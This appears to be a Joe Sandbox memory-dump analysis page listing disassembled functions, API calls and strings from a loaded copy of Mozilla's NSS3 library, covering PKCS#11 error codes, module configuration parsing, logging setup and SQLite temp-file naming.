Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction ID: 5952516a7ac6a95e7a858b5f395a04a7801ce8bfa659baae48b53eacc8470e3d
Opcode Fuzzy Hash: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction Fuzzy Hash: DE11CEB67043059FCB00DF68C89066A7BB6FF85368F14806DD8198B711DBB5E806CBA0

Function 6CE93FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction ID: f9ee19c097990a47064c48553e9249717cc6ee80a199f821c86d2d10ab757453
Opcode Fuzzy Hash: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction Fuzzy Hash: E8F0BE70E047598BCB40DF28D4406DEB7F4EF09244F108619EC89AB300EB30AAC4C7D1

Function 6CF20D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 6b43fe7e7222c49e0908d74db5cb051c354b2e857f64fdd6f98ed908819d7c2b
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 5FE06D3B243058A7DB148E49C460BAA7359DF81719FE48079CC599BE01DA77F8038781

Function 6CE4CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction ID: 2d3a7a76e2588cdfd77e269208fd3c2b7723160367e224c93fb72e1beea2855a
Opcode Fuzzy Hash: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction Fuzzy Hash: A4C04838254608CFC744DA08E599AA43BA8AB096507040094EA028B721DB21F800CA84

Function 6CE81D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE81D46), ref: 6CE82345

Strings

CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE8232E
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE81F77
CKR_FUNCTION_CANCELED, xrefs: 6CE81E73
CKR_RANDOM_NO_RNG, xrefs: 6CE822A7
CKR_PIN_INCORRECT, xrefs: 6CE81D92
CKR_INFORMATION_SENSITIVE, xrefs: 6CE822B1
CKR_PIN_INVALID, xrefs: 6CE82057
rv = 0x%x, xrefs: 6CE82312
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE82327
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE81EE1
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE82320
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE82225
CKR_TOKEN_NOT_PRESENT, xrefs: 6CE81F81
CKR_OPERATION_ACTIVE, xrefs: 6CE822B8
CKR_OK, xrefs: 6CE81DFC
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE82179
CKR_PIN_EXPIRED, xrefs: 6CE8206B
CKR_DEVICE_ERROR, xrefs: 6CE8229D
CKR_STATE_UNSAVEABLE, xrefs: 6CE82037
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE8204D
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE81FD7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE82275
rv = %s, xrefs: 6CE82340
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE81FB5
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE81DE0
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE820D9
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE8218D
CKR_DEVICE_MEMORY, xrefs: 6CE81FF3
CKR_PIN_LEN_RANGE, xrefs: 6CE82061
CKR_DEVICE_REMOVED, xrefs: 6CE82261
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE81F0F
CKR_FUNCTION_REJECTED, xrefs: 6CE82289
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE822FF
CKR_NEW_PIN_MODE, xrefs: 6CE81E9F
CKR_SIGNATURE_INVALID, xrefs: 6CE820CF
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE81F95
CKR_NEXT_OTP, xrefs: 6CE8222F
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE82293, 6CE8233F
CKR_PIN_LOCKED, xrefs: 6CE82075
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE8227F
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE82015
CKR_MUTEX_BAD, xrefs: 6CE81F49
CKR_SAVED_STATE_INVALID, xrefs: 6CE81E56
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE8226B
CKR_BUFFER_TOO_SMALL, xrefs: 6CE82183
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE81F8B
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE82319

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: cbbf27758bd8662921252b1088c89c2ef264f9b54cfbdedfcbb504c271c436ef
Instruction ID: a7f353fcf22e5d63b46317c0377f100ac8d2ba40e83d68ee7d16c04e193a499b
Opcode Fuzzy Hash: cbbf27758bd8662921252b1088c89c2ef264f9b54cfbdedfcbb504c271c436ef
Instruction Fuzzy Hash: C961DC20A4F04686FE1C454CA1BE36C3134AB27709F74C27BE79D8EFA5C295CA874693

Function 6CEB5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEB5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEB5E5C
free.MOZGLUE(00000000), ref: 6CEB5E7E
free.MOZGLUE(00000000), ref: 6CEB5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEB5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEB5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEB5EF0
free.MOZGLUE(00000000), ref: 6CEB5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEB5F5B
free.MOZGLUE(00000000), ref: 6CEB5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEB5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEB5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB5FC4
free.MOZGLUE(00000000), ref: 6CEB5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB5FE9
free.MOZGLUE(00000000), ref: 6CEB5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEB6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEB605A
PR_smprintf.NSS3(6CF8AAF9,00000000), ref: 6CEB606A
free.MOZGLUE(00000000), ref: 6CEB607C
free.MOZGLUE(00000000), ref: 6CEB609A
free.MOZGLUE(00000000), ref: 6CEB60B2
free.MOZGLUE(?), ref: 6CEB60CE

Strings

secmod.db, xrefs: 6CEB5EA0
flags, xrefs: 6CEB5E3A, 6CEB5EC6, 6CEB5F30
secmod=, xrefs: 6CEB5FB1
readOnly, xrefs: 6CEB5E56
%s/%s, xrefs: 6CEB6055
pkcs11.txt, xrefs: 6CEB5F47, 6CEB5F7C, 6CEB603A, 6CEB6053
configDir=, xrefs: 6CEB5F9D
forceSecmodChoice, xrefs: 6CEB5F55
noModDB, xrefs: 6CEB5EEA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction ID: 7689b95bcba72486cb6b96a64f97adbdfcf40409a872f18bb0bf25a383cde95a
Opcode Fuzzy Hash: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction Fuzzy Hash: A991E5F4E052059BEB118F65DE81BBA7BB89F0624CF280065EC55FBB41E732D905C7A2

Function 6CE41D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE41DA3

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE41DB2

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE41DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE41E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE41EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE41ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE41EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE41F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE41F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE41F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE41F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE41F83
PR_SetLogFile.NSS3(00000000), ref: 6CE41FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE41FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE41FCB
free.MOZGLUE(00000000), ref: 6CE41FD2

Strings

NSPR_LOG_FILE, xrefs: 6CE41F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE41E27
sync, xrefs: 6CE41E46
append, xrefs: 6CE41EE6
NSPR_LOG_MODULES, xrefs: 6CE41DAD
timestamp, xrefs: 6CE41EC4
all, xrefs: 6CE41F0E
, %n, xrefs: 6CE41E6B
bufsize, xrefs: 6CE41E9B
Unable to create nspr log file '%s', xrefs: 6CE41FB3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction ID: de7b6f77756fd9a860c2380bec82bacd0c3f40990bfe50bd18560ab3080d4cb2
Opcode Fuzzy Hash: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction Fuzzy Hash: B451A3B1E002499BDF00DBE5EC45B9EB7B8AF0134DF288528E815DBB01E771E529CB95

Function 6CF26E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDEBE66), ref: 6CF26E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDEBE66), ref: 6CF26E98
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26FA6
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDEBE66), ref: 6CF2701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF27030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF2705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF27079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF270A0

Strings

winGetTempname2, xrefs: 6CF270C4
winGetTempname4, xrefs: 6CF27046
winGetTempname5, xrefs: 6CF27071
winGetTempname1, xrefs: 6CF2708F
mz_etilqs_, xrefs: 6CF26F18

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction ID: 006b15c0a96bb7121b17f37f10d7bf53b9682056a0c82d1b6b24ed2498fab57e
Opcode Fuzzy Hash: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction Fuzzy Hash: 23518C72E051115BE71497B0AC61BBB36669F92318F144538E81197FD1FF2AE90E82E3

Function 6CEB4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000,00000000,00000001), ref: 6CEB5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEB5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEB5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2), ref: 6CEB50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5153
free.MOZGLUE(?), ref: 6CEB516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB5195

Strings

config=, xrefs: 6CEB509B
parameters=, xrefs: 6CEB506B
name=, xrefs: 6CEB5057
nss=, xrefs: 6CEB5083
library=, xrefs: 6CEB5043

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction ID: c8c4520933d6861ddb99b9df99095dc1acb46ff44c07b6438cdadf979170f20b
Opcode Fuzzy Hash: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction Fuzzy Hash: 1F51A7B5A12205ABEB41DF64DD41ABE37B89F0624CF240024EC19F7741EB35E915C7B2

Function 6CE88E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE88E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE88EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88EB3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE88EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE88EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE88F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE88F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE88F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE88F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE88FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE88FCD
